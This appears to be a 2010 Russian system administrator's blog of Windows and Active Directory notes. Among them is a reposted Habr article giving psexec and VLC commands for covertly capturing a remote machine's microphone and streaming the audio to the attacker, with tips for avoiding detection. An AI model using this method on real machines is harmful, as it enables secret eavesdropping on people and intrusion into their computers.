понедельник, 22 ноября 2010 г.

Пользовательский интерфейс принтера

Использование: rundll32 printui.dll,PrintUIEntry [параметры] [@командный файл]
/a[имя_файл] имя двоичного файла
/b[имя] основное имя принтера
/c [имя] UNC-имя компьютера, где выполняется команда
/dl удаление локального принтера
/dn удаление подключения к сетевому принтеру
/dd удаление драйвера принтера
/e вывод параметров настройки печати
/f[file] или информационный файл, или выходной файл
/ga добавление подключений компьютеров к принтеру (подключение распространяется на компьютер пользователя в момент входа в систему)
/ge перечисление подключений компьютеров к принтеру
/gd удаление подключений компьютеров к принтеру (подключение удаляется в момент входа пользователя в систему)
/h[arch] архитектура драйвера, принимает значения: x86 | Itanium | x64
/ia установка драйвера принтера с помощью информационного файла
/id установка драйвера принтера с помощью мастера установки драйверов принтеров
/if установка принтера с помощью информационного файла
/ii установка принтера с помощью мастера установки принтеров и информационного файла
/il установка принтера с помощью мастера установки принтеров
/in добавление подключения к принтеру
/j[provider] имя системы печати
/k печать пробной страницы на выбранном принтере, не может использоваться с другими командами установки принтера
/l[path] путь к исходному размещению драйвера принтера
/m[model] имя модели драйвера принтера
/n[name] имя принтера
/o показать очередь заданий на печать
/p отображение свойств принтера
/q скрытый режим без вывода сообщений об ошибках
/r[port] имя порта
/s показать свойства сервера
/Ss запись параметров принтера в файл
/Sr чтение параметров принтера из файла
Флаги при записи или чтении параметров принтера, помещаемые в конце команды:
2 PRINTER_INFO_2
7 PRINTER_INFO_7
c профиль цвета
d PrinterData
s дескриптор безопасности
g глобальный DevMode
m минимальный набор параметров
u пользовательский DevMode
r разрешить конфликты имен
f принудительное использование имени
p сопоставить порт
i кофликт имен
/u использовать существующий драйвер принтера если он установлен
/t[#] номер начальной страницы (с нуля)
/v[version] версия драйвера для Windows 95, Windows 98 или Me | Windows NT 4.0 | Windows 2000, Windows XP и Windows Server 2003 | Windows XP и Windows Server 2003
/w запрос драйвера у пользователя, если драйвер не найден в inf-файле
/y назначить принтер используемым по умолчанию
/Xg получить параметры принтера
/Xs установить параметры принтера
/z не разрешать автоматический общий доступ к этому принтеру
/Y не генерировать автоматически имя принтера
/K изменяет значение ключей /v и /h, разрешая значения 0,2,3, соответствующие Windows x64 и Windows IA64 | Windows NT x86 | Windows 4.0
/Z общий доступ к принтеру, используется только вместе с /if
/? вывод справки
@[file] файл аргументов командной строки
/Mw[сообщение] отображать предупредительное сообщение перед выполнение команды
/Mw[сообщение] отображать сообщение подтверждения перед выполнением команды
/W[флаги] указывает флаги и ключи для мастеров (добавления принтера и драйвера)
r позволить этим мастерам перезапускаться с последней страницы
/G[флаги] указывает глобальные флаги и ключи
w подавляет предупреждения интерфеса пользователя по установке драйвера (супер тихий режим)

Примеры:
Запуск свойств сервера:
rundll32 printui.dll,PrintUIEntry /s /t1 /n\\machine
Запуск свойств принтера:
rundll32 printui.dll,PrintUIEntry /p /n\\machine\printer
Локальный запуск мастера установки принтеров:
rundll32 printui.dll,PrintUIEntry /il
Запуск мастера установки принтеров на компьютере \\machine:
rundll32 printui.dll,PrintUIEntry /il /c\\machine
Запуск показа очереди:
rundll32 printui.dll,PrintUIEntry /o /n\\machine\printer
Запуск установки с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /if /b "Test Printer" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "AGFA-AccuSet v52,3"
Запуск мастера установки принтеров с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /ii /f %windir%\inf\ntprint.inf
Добавление подключений компьютеров к принтеру (подключение распространяется на компьютер пользователя в момент входа в систему):
rundll32 printui.dll,PrintUIEntry /ga /c\\machine /n\\machine\printer /j"LanMan Print Services"
Удаление подключений компьютеров к принтеру (подключение удаляется в момент входа пользователя в систему):
rundll32 printui.dll,PrintUIEntry /gd /c\\machine /n\\machine\printer
Перечисление подключений компьютеров к принтеру:
rundll32 printui.dll,PrintUIEntry /ge /c\\machine
Добавление драйвера принтера с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "AGFA-AccuSet v52,3" /h "x86" /v "Windows 2000, Windows XP и Windows Server 2003" /f %windir%\inf\ntprint.inf
Добавить драйвер принтера:
rundll32 printui.dll,PrintUIEntry /ia /K /c\\machine /m "AGFA-AccuSet v52,3" /h "Windows NT x86" /v 3
Удаление драйвера принтера:
rundll32 printui.dll,PrintUIEntry /dd /c\\machine /m "AGFA-AccuSet v52,3" /h "x86" /v "Windows 2000, Windows XP и Windows Server 2003"
Удалить драйвер принтера:
rundll32 printui.dll,PrintUIEntry /dd /K /c\\machine /m "AGFA-AccuSet v52,3" /h "Windows NT x86" /v 3
Назначение принтера используемым по умолчанию:
rundll32 printui.dll,PrintUIEntry /y /n "printer"
Указание описания принтера:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" comment "My Cool Printer"
Получение параметров принтера:
rundll32 printui.dll,PrintUIEntry /Xg /n "printer"
Получение параметров принтера и запись их в файл:
rundll32 printui.dll,PrintUIEntry /f "results.txt" /Xg /n "printer"
Справка об установке параметров принтера:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" ?
Запись всех параметров принтера в файл:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat"
Восстановление всех параметров принтера из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat"
Запись сведений принтера уровня 2 в файл:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" 2
Восстановление дескриптора безопасности из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" s
Восстановление глобального devmode и данных принтера из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" g d
Восстановление минимального набора параметров из файла и разрешение имени порта:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" m p



пятница, 22 октября 2010 г.

Категории для ПО

Связка OSCI-GLPI настроена, информация импортируется. Написал правила присвоения категорий для ПО.
Но они применяются только к свежеимпортируемым компьютерам. А как быть с теми, которые уже были импортированы раньше (тем более, правила присвоения категорий для ПО писались на их основе)?

Оказывается, надо открыть раздел "Программное обеспечение", выбрать ПО, которому надо присвоить категорию на основе правил, и применить опцию "Пересчитать Категорию" (выбирается из списка внизу).
Вуаля!

P.S. Ну, кто бы мог подумать!?

Кросспост из ЖЖ

Борьба за кириллицу

Чтобы не было проблем с отображением кириллицы в GLPI после импорта информации из OCSI, необходимо перед установкой GLPI сделать правку одного файла.
Для GLPI 0.72.4 это файл /glpi/inc/ocsng.class.php, для GLPI 0.78 - /glpi/inc/dbmysql.class.php:
строку (57 - для GLPI 0.72.4, 55 - для GLPI 0.78)
$this->dbenc="latin1";
заменить на
$this->dbenc="utf8";
Я до последнего надеялся, что в последнем релизе 0.78 это исправят, но пришлось, как обычно, править самому.

Кросспост из ЖЖ

четверг, 21 октября 2010 г.

Французы таки извращенцы!

Занимаюсь настройкой связки свежеустановленных OCS Inventory NG и GLPI.
Не понравилась мне информация об одной рабочей станции в GLPI. Решил зайти в OSCI, проверить ещё и там. Логинюсь, нахожу нужную рабочую станцию и... всё. Нету кликабельной ссылки, дабы посмотреть на собранную информацию, хотя раньше (до переустановки) была. В разных браузерах открывал - результат тот же.
Оказывается, чтобы включить этот функционал, надо залогиниться, разлогиниться, кликнуть по флажку выбора языка и залогиниться снова. И вуаля - теперь можно кликать на имени рабочей станции, дабы увидеть собранную информацию.
Ну, разве это не извращение?!

Кросспост из ЖЖ

вторник, 28 сентября 2010 г.

Подслушиваем в AD



Введение

Я только недавно столкнулся с виндовыми доменами (Active Directory) и познаю много нового и удивительного. Так уж получилось, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие) (ведь не редко так бывает?). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.



Необходимо иметь

  • Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)

  • Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.

  • Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc. (никаких троянов! :))

  • Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools. Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).



Практика


  1. Для начала нам нужно закинуть дистрибутив vlc на удаленную машину, если его там не было. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \\target\C$\. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:

    net share C$=C:\

    Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину.

  2. Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:

    psexec.exe \\target\ cmd

    Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc.


  3. Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.



    Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.



    У меня это ":sout=#http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep"

  4. Таким образом, команда запуска vlc на удаленной машине принимает вид:

    vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep

    Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080.

  5. Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:

    vlc.exe http:// target:8080 (без пробела после http://)

    Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:

    vlc.exe udp://@:1234

  6. Если все путем, то слушаем





Заключения

Очень важно минимизировать привилегии пользователей AD.

PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.

С некоторыми модификациями способ прокатит не только в AD.



Линки

Хорошее описание PsExec

Wiki по VLC.

(c) Взято на ХабраХабре



вторник, 1 июня 2010 г.

Скрипт проверки наличия файла

Иногда в админской практике бывает нужно проверить наличие некоторого файла в определённом месте (файла-флага) и в зависимости от результата проверки выполнить определённые действия.
Привожу заготовку скрипта, проверяющего наличие файла. В качестве пути можно использовать как локальный путь вида диск:\\папка\файл, так и UNC-путь вида \\хост\ресурс\папка\файл.


Option Explicit
On Error Resume Next

'Объявляем переменные
Dim objFSO, strFlagFile

'Создаём объект файловой системы
Set objFSO = CreateObject("Scripting.FileSystemObject")

'Задаём путь к файлу-флагу
strFlagFile = "путь_к_файлу\flag.file"

'Проверка наличия файла
If objFSO.FileExists(strFlagFile) Then
  WScript.Echo "File Exist!"
Else
  WScript.Echo "File Not Exist!"
End If

WScript.Quit 0

среда, 12 мая 2010 г.

Имя рабочей станции в реестре

Сегодня столкнулся с багом - на рабочей станции "WS007" засбоил жёсткий диск, в результате домен отказался её признавать. Параллельно на контролере домена в журнале событий увидел ошибки при попытке аутентификации в домене рабочей станции со странным именем "EEA". Дальнейшее расследование ситуации показало, что IP-адрес загадочной рабочей станции совпадает с IP-адресом засбоившей.
Сбойную рабочую станцию "WS007 вывели из домена, отправили в перезагрузку. После перезагрузки при логоне было замечено, что имя рабочей станции в окне логона не "WS007", а то самое загадочное "EEA". При этом в Свойствах компьютера (быстрый вызов WinKey+Pause/Break) отображалось нормальное имя - "WS007".
После перелопачивания реестра оказалось, что загадочное имя "EEA" находится в ветках:

HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName

и

HKLM\System\CurrentControlSet\Control\ComputerName\ComputerName

После исправления значения строкового параметра ComputerName в обеих ветках с "EEA" на "WS007" сбойная рабочая станция была нормально заведена в домен.

Немного о багах

суббота, 8 мая 2010 г.

Быстрый доступ к разным оснасткам консоли управления Windows

Консоль управления Windows (Microsoft Management Console, mmc) - довольно удобный инструмент для выполнения различных административных задач. Для ускорения (и, возможно, упрощения) доступа к различным оснасткам этой консоли я использую следующие вызовы:
на контролерах домена:

  • dsa.msc - оснастка "Active Directory Пользователи и компьютеры"
  • dssite.msc - оснастка "Active Directory Сайты и службы"
  • dnsmgmt.msc - оснастка управления DNS-сервером
  • dhcpmgmt.msc - оснастка управления DHCP-сервером
  • gpmc.msc - оснастка "Group Policy Management"

на любом компьютере под управлением ОС Microsoft Windows:

  • compmgmt.msc - оснастка "Управление компьютером"
  • eventvwr.msc - оснастка "Просмотр событий"
  • gpedit.msc - оснастка "Редактор объектов групповой политики (локальной)"
  • certmgr.msc - оснастка управления сертификатами пользователя


Оснасток на самом деле больше, но я привёл самые востребованные и используемые мной.

Быстрый доступ к установке сетевых компонентов Windows

Для быстрого доступа к разделу сетевых компонентов Мастера установки Windows используется следующая команда:

rundll32.exe netshell.dll, HrLaunchNetworkOptionalComponents

Результат выполнения:

понедельник, 1 февраля 2010 г.

Проблема с сертификатом контроллера домена

На одном из контроллеров домена леса в журнале "Система" была обнаружена ошибка:


Для решения этой проблемы стоит войти на проблемный контроллер с учётной записью, обладающей административными правами, запустить командную строку (консоль) cmd.exe и выполнить следующую команду:

certutil -dcinfo DeleteBad

После этого перегрузить проблемный контроллер домена.

среда, 20 января 2010 г.

Про политику ограниченного использования программ

С целью повышения безопасности сетей (в частности, доменов на основе Active Directory) используются политики ограниченного использования программ. Этот компонент присутствует в любом объекте групповой политики.
Но при использовании этого компонента есть пара моментов, о которых я однажды запямятовал, и в результате получил прямо-таки эпидемию новогодних украшательств на рабочих столах пользователей по всей сети.
Итак, расскажу о моментах, про которые не стоит забывать.
Создавая новый объект групповой политики и редактируя существующий, открываем его в редакторе групповых политик:



Разворачиваем ветку Конфигурация компьютера -> Конфигурация Windows -> Параметры безопасности, выбираем раздел Политики ограниченного использования программ. По умолчанию, эти политики не заданы:



Создаём политику:



По умолчанию запуск всех программ разрешён (Уровень безопасности - Неограниченый). Задаём по умолчанию уровень Не разрешено:



А вот теперь важно не забыть следующее:

1. В разделе Дополнительные правила удаляем параметр %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%. Этот параметр разрешает запуск всех программ, расположенных в Program Files.





Этот шаг обусловлен тем, что пользователь, обладая правами записи в папку Program Files, может сохранить туда исполнимый файл и запустить его, что может привести к нарушению безопасности системы. Удалив этот параметр, мы лишаем пользователя такой возможности. Естественно, что надо не забыть прописать хэши разрешённых программ из Program Files в разделе Дополнительные правила.


2. В разделе Политики ограниченного использования программ в параметре Принудительный по умолчанию задано применение политики Для всех пользователей. Следует установить Для всех пользователей, кроме локальных администраторов.



Это необходимо для того, чтобы члены локальной группы Администраторы могли при необходимости выполнять установку программ, запуск необходимых утилит и т.п.

3. В разделе Политики ограниченного использования программ в параметре Назначенные типы файлов следует из списка удалить тип файлов LNK (Ярлык).



Удалить тип файла LNK (Ярлык) необходимо для того, чтобы не прописывать в политике разрешение на исполнение для каждого ярлыка на компьютере.

Напоследок хочу заметить, что всё вышеизложенное я написал в первую очередь как памятку для себя, и приведенные рекомендации не являются "истиной в последней инстанции".

Традиционная первая запись

Доброго времени суток всем!

Решение завести этот блог я принял не случайно, а вполне даже преднамеренно.
Здесь я буду писать небольшие заметки, связанные с моей профессиональной деятельностью - системным администрированием. Это будут эдакие "узелки напамять".